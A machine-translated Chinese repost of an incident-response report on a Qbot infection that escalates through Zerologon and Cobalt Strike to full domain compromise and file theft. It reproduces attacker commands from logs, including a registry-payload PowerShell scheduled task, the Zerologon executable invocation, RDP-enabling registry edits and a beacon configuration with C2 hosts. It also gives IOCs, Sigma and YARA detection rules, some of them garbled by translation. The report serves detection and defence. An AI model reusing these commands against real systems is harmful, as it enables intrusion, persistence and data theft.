译文 | 域入侵溯源 - Qbot 和 Zerologon 导致全域妥协

admin 2022年2月24日11:00:50评论138 views字数 16421阅读54分44秒阅读模式
译文 | 域入侵溯源 - Qbot 和 Zerologon 导致全域妥协

开卷有益 · 不求甚解

译文 | 域入侵溯源 - Qbot 和 Zerologon 导致全域妥协

前言

在这次入侵中(从 2021 年 11 月开始),威胁行为者通过使用Qbot (又名 Quakbot/Qakbot)恶意软件在环境中获得了最初的立足点。

在执行 Qbot 有效负载后不久,该恶意软件建立了 C2 连接并在滩头阵地创建了持久性。Zerologon漏洞 (CVE-2020-1472)的成功利用使威胁参与者能够获得域管理员权限。这种访问级别被滥用来部署额外的 Cobalt Strike 信标,从而转向网络中的其他敏感主机。然后,威胁参与者从环境中窃取敏感文档,然后从网络中驱逐。

概括

威胁参与者通过执行恶意 DLL 获得了对 Windows 工作站的初始访问权限。QBot 的第一个活动是在 DLL 执行 5 分钟后看到的。各种自动发现命令用于映射网络拓扑、检索本地组成员信息,并列出受感染用户的可用文件共享/权限。

在第一个发现阶段之后,Qbot 丢弃了另一个恶意 DLL,并创建了一个计划任务来获得持久性。计划任务的主要目的是每 30 分钟执行一次(base64 编码的)PowerShell Cobalt Strike 信标。

一旦威胁参与者建立了持久性,他们就会继续枚举环境,使用 N ltest、net 和 ADFind 等工具映射 Active Directory 环境。

在识别出其中一个域控制器后,攻击者继续利用 ZeroLogon 漏洞。基于命令行参数和漏洞利用的整体执行,使用的可执行文件与之前案例从零到域管理员中使用的可执行文件惊人地相似。名为cool.exe 的可执行文件 将域控制器密码重置为空字符串,检索域管理员密码哈希,并在DC 上安装服务以重置DC 密码,以免破坏Active Directory 操作。

然后,域管理员哈希通过over-pass-the-hash 攻击被用于滩头阵地。在获得域管理员权限后,他们继续在文件服务器和另一个域控制器上部署 Cobalt Strike Beacons,这允许他们转向这些服务器。

最后,文件通过 Cobalt Strike 加密的 C2 通道 (HTTPS) 被窃取和泄露。为了结束这个案例,威胁参与者在完成任何进一步的目标之前就被从网络中驱逐了。

服务

我们提供多种服务,包括跟踪命令和控制框架的 威胁源服务 ,例如 QBot、Cobalt Strike、BazarLoader、Covenant、Metasploit、Empire、PoshC2 等。有关此服务和其他服务的更多信息,请参见 此处。

在我们的安全研究员和组织服务下,我们还提供了此案例中可用的工件和 IOC,例如内存捕获、文件、事件日志(包括 Sysmon、Kape 包等) 。

时间线

译文 | 域入侵溯源 - Qbot 和 Zerologon 导致全域妥协

由@pigerlin和@MetallicHack完成的分析和报告

由 @ICSNick 和 @kostastsale 审核

初始访问

威胁参与者通过执行恶意 DLL 获得了初始访问权限。传统上,Qbot 使用恶意文档通过电子邮件传递,然后下载恶意 DLL。然而,在这种情况下,执行直接从此处找到的 qbot DLL 开始。

此 QBot 感染的执行链如下所示:

译文 | 域入侵溯源 - Qbot 和 Zerologon 导致全域妥协

执行

QBot PowerShell 分析

我们分析了计划任务查询的注册表路径和关联键,HKCU:SOFTWAREPvoeooxf发现创建了三个包含 base64 编码值的键。解码这些值导致:

1.QBot DLL副本

2. 由分号分隔的 QBot C2 IP 地址字符串。

3. 计划任务引用的混淆 PowerShell 脚本。

译文 | 域入侵溯源 - Qbot 和 Zerologon 导致全域妥协

PowerShell 脚本(由计划任务触发)启动一系列事件,如下所示:

译文 | 域入侵溯源 - Qbot 和 Zerologon 导致全域妥协

第一次运行时,脚本会在同一路径中创建一个新的注册表项,保存执行日期。然后,它会在执行时验证此注册表项的创建日期项是否早于 4 小时。

译文 | 域入侵溯源 - Qbot 和 Zerologon 导致全域妥协

根据结果,它将:(1) 从 Windows 注册表中检索 base64 编码的 Qbot 有效负载,对其进行解码,将其保存在文件系统上并执行它。

译文 | 域入侵溯源 - Qbot 和 Zerologon 导致全域妥协

Invoke-WebRequest或 (2) 使用PowerShell 模块使用活动 C2 IP 之一远程获取 QBot 有效负载:

译文 | 域入侵溯源 - Qbot 和 Zerologon 导致全域妥协

PS 脚本包含内置逻辑来执行各种类型的有效负载,包括批处理和 Visual Basic 文件。

译文 | 域入侵溯源 - Qbot 和 Zerologon 导致全域妥协

存储在注册表中的编码 QBot DLL 被放入目录中%APPDATA%RoamingMicrosoftFdopitcu。带有描述符的未签名 DLLCancel Autoplay 2是使用regsvr32.exe

译文 | 域入侵溯源 - Qbot 和 Zerologon 导致全域妥协
译文 | 域入侵溯源 - Qbot 和 Zerologon 导致全域妥协

在执行此第二阶段 DLL 时,会创建各种注册表项HKCUSoftwareMicrosoftYerqbqokc.。此外,还会启动并注入一个新的 explorer.exe 实例(32 位)。

译文 | 域入侵溯源 - Qbot 和 Zerologon 导致全域妥协

注册表项包含 8 个字符长的十六进制字符串,我们认为这些字符串是恶意软件加密配置的一部分。

译文 | 域入侵溯源 - Qbot 和 Zerologon 导致全域妥协

持久性

计划任务/作业 - 滩头阵地计划任务

Qbot 创建的计划任务设置为每 30 分钟运行一次,并执行存储在 Windows 注册表中的 base64 编码的有效负载。

schtasks.exe /Create /F /TN "{97F2F70B-10D1-4447-A2F3-9B070C86E261}" /TR "cmd /c start /min "" powershell.exe -Command IEX([System.Text.Encoding]: :ASCII.GetString([System.Convert]::FromBase64String((Get-ItemProperty -Path HKCU:SOFTWAREPvoeooxf).yzbbvhhdypa))) " /SC MINUTE /MO 30
译文 | 域入侵溯源 - Qbot 和 Zerologon 导致全域妥协
日志名称:Microsoft-Windows-TaskScheduler/Operational
事件代码:106
消息:任务调度程序任务已注册

权限提升

在获得初始访问权限后 30 分钟,威胁参与者在滩头阵地运行了一个可执行文件,以利用 CVE-2020-1472、Zerologon。

可执行文件名为“cool.exe”:

C:Windowssystem32cmd.exe /C cool.exe [DC IP 地址] [域名] 管理员 -c "taskkill /f /im explorer.exe"
译文 | 域入侵溯源 - Qbot 和 Zerologon 导致全域妥协

Zerologon漏洞利用后三毫秒,事件 4742“计算机帐户已更改”。在目标域控制器上生成。

正如CrowdStrike的详细博客中所解释的,ZeroLogon CVE 依赖于与零 IV 一起使用的 AES-CFB8 算法:

“为了安全地使用 AES-CFB8,需要为每个要使用相同密钥加密的明文生成随机初始化向量 (IV)。但是,ComputeNetlogonCredential 函数将 IV 设置为 16 个零字节的固定值。这会导致加密缺陷,其中 8 字节零的加密可能会产生 256 中 1 的概率为零的密文。允许这种攻击的另一个实现问题是服务器不会拒绝未加密的 Netlogon 会话(默认情况下) )。这两个缺陷的结合可能使攻击者完全破坏身份验证,从而冒充他们选择的服务器。”

正如我们在网络捕获中看到的那样,为了欺骗域控制器的身份,执行了蛮力攻击:

译文 | 域入侵溯源 - Qbot 和 Zerologon 导致全域妥协


在蛮力流量结束后,我们可以看到一个漏洞利用成功完成的实例。

译文 | 域入侵溯源 - Qbot 和 Zerologon 导致全域妥协

认证成功后,DC密码设置为:

译文 | 域入侵溯源 - Qbot 和 Zerologon 导致全域妥协

PasswordLastSet 字段等于 TimeCreated 字段,表示域控制器的密码已成功更新。我们还可以看到 SubjectUserName 是 ANONYMOUS LOGON。

使用 DC 帐户执行从滩头阵地到域控制器的连接。在使用 DC 帐户对 DC 进行身份验证后,威胁参与者转储域管理员哈希,然后重置 DC 密码以破解 Active Directory 域。

译文 | 域入侵溯源 - Qbot 和 Zerologon 导致全域妥协

explorer shell 也被威胁参与者重新启动:

译文 | 域入侵溯源 - Qbot 和 Zerologon 导致全域妥协

防御规避

在执行初始 DLL 时,QBot 使用进程空心来启动 explorer.exe(32 位)的挂起实例,然后将自身注入到该进程中。

译文 | 域入侵溯源 - Qbot 和 Zerologon 导致全域妥协

注入的 explorer.exe 进程用于生成和注入 explorer.exe(32 位)的其他实例。下面可以看到一个示例事件。源 PID 10492 属于 QBot,将一个 DLL 注入到 PID 4072 中,我们发现这是 Cobalt Strike C2 通信的一部分。

译文 | 域入侵溯源 - Qbot 和 Zerologon 导致全域妥协

来自 Beachhead 的 Over-Pass-the-Hash

攻击者通过 Zerologon 漏洞获取管理员帐户的 NTLM 哈希值,并使用 over-pass-the-hash从域控制器请求 TGT。我们之前已经多次看到过使用 over-pass-the-hash。例如,我们的Cobalt Strike Defender 指南更详细地介绍了这种技术的检测。

译文 | 域入侵溯源 - Qbot 和 Zerologon 导致全域妥协

不久之后,请求管理员帐户的 TGT:

译文 | 域入侵溯源 - Qbot 和 Zerologon 导致全域妥协

发现

QBot 最初会启动多个进程来收集有关受影响系统的信息。这是“SYSTEM INFO”机器人请求的一部分,如SecureList最近的一篇文章中所述。

译文 | 域入侵溯源 - Qbot 和 Zerologon 导致全域妥协后来,更多的发现命令通过 Cobalt Strike 信标执行,该信标收集了有关活动目录环境的信息。

译文 | 域入侵溯源 - Qbot 和 Zerologon 导致全域妥协

ADFind (在 find.exe 中重命名)用于枚举计算机

C:redactedfind.exe -f objectcategory=computer -csv name cn OperatingSystem dNSHostName
译文 | 域入侵溯源 - Qbot 和 Zerologon 导致全域妥协

在域控制器上,威胁参与者通过 WMI 收集有关已安装安全软件的信息:

译文 | 域入侵溯源 - Qbot 和 Zerologon 导致全域妥协
C:Windowssystem32cmd.exe /C wmic /namespace:\rootSecurityCenter2 PATH AntiSpywareProduct GET /value
C:Windowssystem32cmd.exe /C wmic /namespace:\rootSecurityCenter2 PATH AntiVirusProduct GET /value
C:Windowssystem32cmd.exe /C wmic /namespace:\rootSecurityCenter2 PATH FirewallProduct GET /value

Ping 用于验证机器是否在线

ping -n 1 [已编辑]

横向运动

通过创建 Windows 服务,Cobalt Strike Beacons(psexec_psh 函数)被部署在环境内的多个主机上。

事件代码:7045
服务文件名:%COMSPEC% /b /c start /b /min powershell -nop -w hidden -encodedcommand <redacted>
用户:NT AUTHORITYSYSTEM
父图像:C:WindowsSystem32services.exe
父命令行:C:Windowssystem32services.exe

在第一个域控制器上,安装了 Cobalt Strike 服务:

译文 | 域入侵溯源 - Qbot 和 Zerologon 导致全域妥协
日志来源:Microsoft-Windows-服务控制管理器事件 ID:7045

Cobalt Strike 在整个环境中安装了多个服务,以下是一些示例:

HKLMSystemCurrentControlSetServices3141131ImagePath
HKLMSystemCurrentControlSetServicesaf5ff02ImagePath
HKLMSystemCurrentControlSetServicesc46234fImagePath

Cobalt Strike首先调用OpenSCManagerW远程创建服务,然后使用StartServiceA函数启动它:

译文 | 域入侵溯源 - Qbot 和 Zerologon 导致全域妥协

RDP/交互式登录

执行了各种命令以在各种主机上启用 RDP 服务:

增加允许的最大 RDP 连接数,在这种情况下是一个任意大的数字。

REG ADD "HKLMSYSTEMCurrentControlSetControlTerminal ServerWinStationsRDP-Tcp" /t REG_DWORD /v "MaxInstanceCount" /d 0xffffffff /f

确保启用 RDP 侦听器。

REG ADD "HKLMSYSTEMCurrentControlSetControlTerminal ServerWinStationsRDP-Tcp" /t REG_DWORD /v "fEnableWinStation" /d 1 /f

确保允许用户 RDP 到终端服务器。

REG ADD "HKLMSYSTEMCurrentControlSetControlTerminal Server" /t REG_DWORD /v "TSUserEnabled" /d 0 /f

确保终端服务器设置为启用。

REG ADD "HKLMSYSTEMCurrentControlSetControlTerminal Server" /t REG_DWORD /v "TSEnabled" /d 1 /f

确保终端服务设置为远程管理模式。

REG ADD "HKLMSYSTEMCurrentControlSetControlTerminal Server" /t REG_DWORD /v "TSAppCompat" /d 0 /f

确保终端服务将启动空闲会话。

REG ADD "HKLMSYSTEMCurrentControlSetControlTerminal Server" /t REG_DWORD /v "IdleWinStationPoolCount" /d 1 /f

启用终端服务器的广告。

REG ADD "HKLMSYSTEMCurrentControlSetControlTerminal Server" /t REG_DWORD /v "TSAdvertise" /d 1 /f

确保终端服务器设置为允许连接。

REG ADD "HKLMSYSTEMCurrentControlSetControlTerminal Server" /t REG_DWORD /v "AllowTSConnections" /d 1 /f

确保终端服务器设置为同时会话。

REG ADD HKLMSYSTEMCurrentControlSetControlTerminal ServerLicensing Core" /t REG_DWORD /v "EnableConcurrentSessions" /d 1 /f

确保允许多个会话。

REG ADD "HKLMSYSTEMCurrentControlSetControlTerminal Server" /t REG_DWORD /v "fSingleSessionPerUser" /d 0 /f

启动终端服务并将服务设置为自动启动。

sc config termservice 启动=自动
网络启动术语服务 /y

然后,威胁参与者建立交互式管理 RDP 会话并转向网络中的不同主机。

译文 | 域入侵溯源 - Qbot 和 Zerologon 导致全域妥协
日志名称=安全
事件代码=4624
登录类型 = 10(远程交互式登录 - RDP)

命名管道 (SMB)

base64 编码的有效载荷可以使用这个 Cyberchef配方(喊出@0xtornado )来解码,它代表一个创建命名管道“dce_3d”的 SMB 信标。

译文 | 域入侵溯源 - Qbot 和 Zerologon 导致全域妥协
译文 | 域入侵溯源 - Qbot 和 Zerologon 导致全域妥协
LogName=Microsoft-Windows-系统/操作
事件代码=17
TaskCategory=已创建管道(规则:PipeEvent)

命令与控制

QBot 详细信息 – 24.229.150.54 // 41.228.22.180

24.229.150[.]54:995 / avlhestito[.]us

证书:25:a6:ef:79:48:98:54:ee:bb:a6:bd:10:ee:c1:f2:0a:00:ad:ac:ce
不早于 2021/11/15 09:24:49 UTC
UTC 时间 2022 年 11 月 15 日 13:18:32 之后
发行人组织 Rsc Inpye LLC。
主题 Common avlhestito[.]us
公共算法 rsaEncryption
JA3:c35a61411ee5bdf666b4d64b05c29e64
JA3s:7c02dbae662670040c7af9bd15fb7e2f

41.228.22[.]180:443 / xrhm[.]信息

证书:96:39:a9:52:e9:9a:1e:29:c5:dc:b3:72:01:29:74:c4:87:db:15:d7
不早于:2021/11/12 04:34:10 UTC
不晚于:2022/11/12 10:08:57 UTC
发行人组织:Bqatra Bamito Inc.
主题通用:xrhm[.]info
公共算法:rsaEncryption
JA3:c35a61411ee5bdf666b4d64b05c29e64
JA3s:7c02dbae662670040c7af9bd15fb7e2f

这是来自Tria.ge的初始访问 DLL (Qbot) 信息

译文 | 域入侵溯源 - Qbot 和 Zerologon 导致全域妥协

Cobalt Strike 详细信息 – 5.255.98[.]144

此 Cobalt Strike 服务器于 2021 年 11 月 16 日添加到我们的威胁源中。

5.255.98.144:8888 / 5.255.98.144:443 / 5.255.98.144:8080 / dxabt[.]com

证书:[25:fe:be:6d:0e:8d:48:5a:94:cf:46:84:d7:7e:ff:bf:47:aa:04:5c]
不早于:2021/11/07 03:00:53 UTC   
之后:2022/02/05 03:00:52 UTC   
发行者组织:让我们加密   
主题通用:dxabt[.]com [dxabt[.]com,ns1.dxabt[.]com,ns2.dxabt[.]com,ns3.dxabt[.]com,ns4.dxabt[.]com
公共算法:rsaEncryption
JA3: 0eecb7b1551fba4ec03851810d31743f
JA3s:ae4edc6faf64d08308082ad26be60767

配置:

{
    “x64”:{
        "uri_queried""/tRPG",
        “sha256”:“dec25fc2fe7e76fe191fbfdf48588c4325f52bfe2769fbc88a5614541c1075eb”,
        “配置”:{
            "HTTP 方法路径 2""/faq",
            “抖动”:79,
            "C2 服务器""dxabt[.]com,/case",
            "生成到 x86""%windir%\syswow64\runonce.exe",
            “方法一”:“获取”,
            "C2 主机头""",
            “方法 2”:“POST”,
            “水印”:426352781,
            "生成到 x64""%windir%\sysnative\runonce.exe",
            “信标类型”:“8(HTTPS)”,
            “端口”:443,
            “投票”:53988
        },
        “时间”:1637416040175.3,
        "md5""30cc71d5b5d7778774c54486558690d3",
        “sha1”:“5f36c6cffdbae0d631c8889b4d9bad1248f899b3”
    },
    “x86”:{
        "uri_queried""/Mr0m",
        "sha256""a992d57b2f6164e599952ea3c245962824ad17166684ed45e987efe80ebe611f",
        “配置”:{
            "HTTP 方法路径 2""/faq",
            “抖动”:79,
            "C2 服务器""dxabt[.]com,/case",
            "生成到 x86""%windir%\syswow64\runonce.exe",
            “方法一”:“获取”,
            "C2 主机头""",
            “方法 2”:“POST”,
            “水印”:426352781,
            "生成到 x64""%windir%\sysnative\runonce.exe",
            “信标类型”:“8(HTTPS)”,
            “端口”:443,
            “投票”:53988
        },
        “时间”:1637416038974.9,
        "md5""c1fd49c043894c1dff8bc02b17f8942c",
        “sha1”:“e915f74be310b1687db6b290af2f78583a981512”
    }
}

渗出

当威胁参与者在环境中活跃时,我们收到了 3 个不同的警报,指出有人从 IP 地址 91.193.182[.]165 打开了金丝雀文档。这些警报告诉我们,数据确实是从环境中泄露出来的。

译文 | 域入侵溯源 - Qbot 和 Zerologon 导致全域妥协

威胁参与者最感兴趣的是有关财务报表、勒索软件报告和工资数据的文件。

C2 通道已加密,并与内部文件服务器建立了多个连接。没有观察到其他流量可能会泄露,这使我们得出结论,命令和控制通道用于泄露。

译文 | 域入侵溯源 - Qbot 和 Zerologon 导致全域妥协

在 17:35 UTC,Cobalt Strike Beacon 部署在文件服务器上。

根据每分钟从文件服务器到 C2 的连接数,我们可以断定在 UTC 时间 17:52 到 UTC 时间 18:00 之间进行了渗漏。

译文 | 域入侵溯源 - Qbot 和 Zerologon 导致全域妥协

从文件共享服务器到 Cobalt Strike 命令和控制服务器的流量激增。

国际奥委会

网络

QBOT
24.229.150[.]54:995 - avlhestito[.]us
41.228.22[.]180:443 - xrhm[.]信息

钴击
5.255.98[.]144:8888 / dxabt[.]com
5.255.98[.]144:443 / dxabt[.]com
5.255.98[.]144:8080 / dxabt[.]com

文件

初始执行 Qbot DLL
MD5:53510e20efb161d5b71c4ce2800c1a8d
SHA1:2268178851d0d0debb9ab457d73af8a5e50af168
SHA2:e2bc969424adc97345ac81194d316f58da38621aad3ca7ae27e40a8fae582987

QBot DLL(从注册表中提取):
MD5:312e52b4109741893f17bc524084100f
SHA1:7ca650945223eab088f43fd472e3592be2ed9d32
SHA2:4d3b10b338912e7e1cbade226a1e344b2b4aebc1aa2297ce495e27b2b0b5c92b

酷酷的.exe
MD5:59E7F22D2C290336826700F05531BD30
SHA1:3B2A0D2CB8993764A042E8E6A89CBBF8A29D47D1
SHA256:F63E17FF2D3CFE75CF3BB9CF644A2A00E50AAFFE45C1ADF2DE02D5BD0AE35B0

检测

网络(更多 ET 规则将于 2/23/22 发布)

SMB 上的 ET POLICY Powershell 活动 - 可能的横向移动
ET POLICY 命令 Shell 活动在 SMB 上使用 Compspec 环境变量 - 很可能是横向移动
ET RPC DCERPC SVCCTL - 远程服务控制管理器访问
ET CNC Feodo Tracker 报告 CnC 服务器组 15
ET CNC Feodo Tracker 报告 CnC 服务器组 16

根据@ET_Labs,以下规则可能会导致性能问题(默认情况下被禁用)
ET EXPLOIT 可能的 Zerologon NetrServerReqChallenge 与 0x00 客户端质询 (CVE-2020-1472) - 2030870
ET EXPLOIT 可能的 Zerologon NetrServerAuthenticate with 0x00 Client Credentials (CVE-2020-1472) 2030871
ET EXPLOIT [401TRG] 可能的 Zerologon (CVE-2020-1472) UUID flowbit set - 2030888
ET EXPLOIT [401TRG] 可能的 Zerologon (CVE-2020-1472) M2 - 2030889

西格玛

标题:从注册表执行 powershell 编码的有效负载的计划任务
状态:实验
描述:检测 schtask 的创建,该 schtask 使用 PowerShell 执行存储在 Windows 注册表中的 base64 编码的有效负载。
作者:@Kostastsale,@TheDFIRReport
参考:
  - https://thedfireport.com/2022/02/21/qbot-and-zerologon-lead-to-full-domain-compromise/
日期:2022/02/12
日志源:
  产品:窗户
  类别:process_creation
检测:
  选择1:
    图片|结尾:'schtasks.exe'
    命令行|包含|全部:
      - '/创建'
      - '/SC'
  选择2:
    命令行|包含|全部:
      - 'FromBase64String'
      - '电源外壳'
      - '获取项目属性'
      - '香港中文大学:'
  条件:selection1 和 selection2
误报:
  - 未知
等级:高
标签:
  - 攻击.执行
  - 攻击.持久性
  - 攻击.t1053.005
  - 攻击.t1059.001
标题:ZeroLogon PoC 可执行文件的执行
状态:实验
描述:检测常用的 ZeroLogon PoC 可执行文件的执行情况。
作者:@Kostastsale, @TheDFIRReport
参考:
  - https://thedfirreport.com/2021/11/01/from-zero-to-domain-admin/
  - https://thedfireport.com/2022/02/21/qbot-and-zerologon-lead-to-full-domain-compromise/
日期:2022/02/12
日志源:
  产品:窗户
  类别:process_creation
检测:
  选择1:
    父图像|结尾:
      - 'cmd.exe'
    图片|结尾:
      - 'cool.exe'
      - 'zero.exe'
    命令行|包含|全部:
      - '行政人员'
      - '-C'
  选择2:
    命令行|包含|全部:
      - '任务杀手'
      - '/F'
      - '/我是'
  选择3:
    命令行|包含:
      - '电源外壳'
  条件:selection1 和(selection2 或 selection3)
误报:
  - 未知
等级:高
标签:
  - 攻击.执行
  -attack.lateral_movement
  - 攻击.T1210
标题:通过 reg.exe 命令执行启用 RDP 服务
状态:实验
描述:检测 reg.exe 和后续命令行参数的执行,以在主机上启用 RDP 服务
作者:@Kostastsale,@TheDFIRReport
参考:
  - https://thedfireport.com/2022/02/21/qbot-and-zerologon-lead-to-full-domain-compromise/
日期:2022/02/12
日志源:
  产品:窗户
  类别:process_creation
检测:
  选择1:
    图片|结尾:
      - 'reg.exe'
    命令行|包含|全部:
      - '添加'
      - 'HKLMSYSTEMCurrentControlSetControl终端服务器'
      - 'REG_DWORD'
  温站1:
    命令行|包含:
      - 'WinStationsRDP-Tcp'
  温站2:
    命令行|包含:
      - 'MaxInstanceCount'
      - 'fEnableWinStation'
  选择2:
    命令行|包含|全部:
      - '许可核心'
      - '启用并发会话'
  选择3:
    命令行|包含:
      - 'TSUserEnabled'
      - 'TSEnabled'
      - 'TSAppCompat'
      - 'IdleWinStationPoolCount'
      - 'TS广告'
      - '允许 TSConnections'
      - 'fSingleSessionPerUser'
  条件:selection1 and ((Winstations1 and Winstations2) or (selection2 or selection3))
误报:
  - 未知
等级:高
标签:
  - attack.defense_evasion
  -attack.lateral_movement
  - 攻击.t1021.001
  - 攻击.t1112
  • https://github.com/SigmaHQ/sigma/blob/master/rules/windows/builtin/win_pass_the_hash_2.yml
  • https://github.com/SigmaHQ/sigma/blob/master/rules/windows/registry_event/sysmon_powershell_as_service.yml
  • https://github.com/SigmaHQ/sigma/blob/master/rules/windows/registry_event/sysmon_cobaltstrike_service_installs.yml
  • https://github.com/SigmaHQ/sigma/blob/master/rules/windows/process_creation/win_susp_net_execution.yml
  • https://github.com/SigmaHQ/sigma/blob/master/rules/windows/process_creation/win_susp_schtask_creation.yml
  • https://github.com/SigmaHQ/sigma/blob/master/rules/windows/pipe_created/sysmon_mal_cobaltstrike.yml
  • https://github.com/SigmaHQ/sigma/blob/master/rules/windows/process_creation/win_nltest_recon.yml
  • https://github.com/SigmaHQ/sigma/blob/master/rules/windows/process_creation/win_susp_whoami.yml

雅拉

/*
   YARA 规则集
   作者:DFIR 报告
   日期:2022-02-20
   标识符:案例 8734
   参考:https://thedfirreport.com/2022/02/21/qbot-and-zerologon-lead-to-full-domain-compromise/
*/


/* 规则集 ---------------------------------- ------------------- */


导入“pe”


规则 qbot_8734_payload_dll {
   元:
      描述 = “文件 - 文件 e2bc969424adc97345ac81194d316f58da38621aad3ca7ae27e40a8fae582987”
      author = "DFIR 报告"
      参考=“https://thedfirreport.com”
      日期 = "2022-02-20"
      hash1 = "e2bc969424adc97345ac81194d316f58da38621aad3ca7ae27e40a8fae582987"
   字符串:
      $s1 = "Terfrtghygine.dll" 全字 ascii
      $s2 = "Winamp 可以读取标题的扩展元数据。选择何时发生这种情况:" fullword Wide /* Goodware String - 出现 1 次 */
      $s3 = "当文件加载到 Winamp 时读取元数据" 全字宽 /* Goodware String - 出现 1 次 */
      $s4 = "尽可能使用高级标题格式" fullwordwide /* Goodware String - 出现 1 次 */
      $s5 = "PQVW=!?" 全字ASCII
      $s6 = "将标题中的下划线显示为空格" fullwordwide /* Goodware String - 出现 1 次 */
      $s7 = "高级标题显示格式:" fullwordwide /* Goodware String - 出现 1 次 */
      $s8 = "CreatePaint" 全字 ascii
      $s9 = "PQRVW=2"" 全字 ascii
      $s10 = "Advanced Title Formatting" fullwordwide /* Goodware String - 出现 1 次 */
      $s11 = "在播放列表编辑器中播放或查看文件时读取元数据" fullwordwide /* Goodware String - 出现 1 次 */
      $s12 = "将标题中的 '%20' 显示为空格" 全字宽 /* Goodware 字符串 - 出现 1 次 */
      $s13 = "Example : "%artist% - %title%"" fullwordwide /* Goodware String - 出现 1 次 */
      $s14 = "PQRVW=g" 全字 ascii
      $s15 = "PQRW=e!" 全字ASCII
      $s16 = "ATF Help" fullwordwide /* Goodware String - 出现 1 次 */
      $s17 = "(如果一次添加大量文件,这可能会很慢)" fullword wide /* Goodware String - 出现 1 次 */
      $s18 = "PQRVW=$" 全字 ascii
      $s19 = "元数据读取" fullwordwide /* Goodware String - 出现 1 次 */
      $s20 = "其他字段名称:%artist%, %album%, %title%, %track%, %year%, %genre%, %comment%, %filename%, %disc%, %rating%, .. ." fullword wide /* Goodware String - 出现 1 次 */
   健康)状况:
      uint16(0) == 0x5a4d 并且文件大小 < 2000KB 并且
      ( pe.imphash() == "aa8a9db10fba890f8ef9edac427eab82" 和 pe.exports("CreatePaint") 或其中 8 个)
}


规则 qbot_dll_8734 {
   元:
      描述 = “文件 - qbot.dll”
      作者 = "TheDFIR 报告"
      参考=“QBOT_DLL”
      日期=“2021-12-04”
      hash1 = "4d3b10b338912e7e1cbade226a1e344b2b4aebc1aa2297ce495e27b2b0b5c92b"
   字符串:
      $s1 = "不支持执行:%sfField '%s' 不是要在聚合中使用的正确计算字段类型,请使用内部计算"wide
      $s2 = "IDAPI32.DLL" 全字 ascii
      $s3 = "ResetUsageDataActnExecute" 全字 ascii
      $s4 = "idapi32.DLL" 全字 ascii
      $s5 = "ShowHintsActnExecute" 全字 ascii
      $s6 = " OnExecute@iG " 全字 ascii
      $s7 = "OnExecutexnD" 全字 ascii
      $s8 = "ShowShortCutsInTipsActnExecute" 全字 ascii
      $s9 = "ResetActnExecute " 全字 ascii
      $s10 = "RecentlyUsedActnExecute" 全字 ascii
      $s11 = "LargeIconsActnExecute" 全字 ascii
      $s12 = "ResetActnExecute" 全字 ascii
      $s13 = "OnExecute<" 全字 ascii
      $s14 = "TLOGINDIALOG" 全字宽
      $s15 = "%s%s:"%s";" 全字ASCII
      $s16 = ":":&:7:?:C:\:" fullword ascii /* 十六进制编码字符串 '|' */
      $s17 = "LoginPrompt" 全字 ascii
      $s18 = "TLoginDialog" 全字 ascii
      $s19 = "OnLogin" 全字 ascii
      $s20 = "数据库登录" 全字 ascii
   健康)状况:
      uint16(0) == 0x5a4d 并且文件大小 < 3000KB 并且
      8个

技术

  • 提权利用 – T1068
  • 服务执行 – T1569.002
  • 网络共享发现 – T1135
  • 传递哈希 - T1550.002
  • PowerShell – T1059.001
  • Windows 命令外壳 – T1059.003
  • 网络共享发现 – T1135
  • 混淆文件或信息 – T1027
  • 计划任务 – T1053.005
  • 工艺注入 – T1055
  • 远程系统发现 – T1018
  • 混淆文件或信息 – T1027
  • 域信任发现 – T1482
  • 域组 – T1069.002
  • 系统所有者/用户发现 – T1033
  • 网络共享发现 – T1135
  • 远程服务 – T1021
  • 本地账户 – T1087.001
  • 安全软件发现 – T1518.001
译文 | 域入侵溯源 - Qbot 和 Zerologon 导致全域妥协

译文申明

  • 文章来源为近期阅读文章,质量尚可的,大部分较新,但也可能有老文章。
  • 开卷有益,不求甚解,不需面面俱到,能学到一个小技巧就赚了。
  • 译文仅供参考,具体内容表达以及含义, 以原文为准 (译文来自自动翻译)
  • 如英文不错的,尽量阅读原文。(点击原文跳转)
  • 每日早读基本自动化发布(不定期删除),这是一项测试

最新动态: Follow Me

微信/微博: red4blue

公众号/知乎: blueteams

译文 | 域入侵溯源 - Qbot 和 Zerologon 导致全域妥协

译文 | 域入侵溯源 - Qbot 和 Zerologon 导致全域妥协


原文始发于微信公众号(甲方安全建设):译文 | 域入侵溯源 - Qbot 和 Zerologon 导致全域妥协

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年2月24日11:00:50
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   译文 | 域入侵溯源 - Qbot 和 Zerologon 导致全域妥协https://cn-sec.com/archives/801130.html

发表评论

匿名网友 填写信息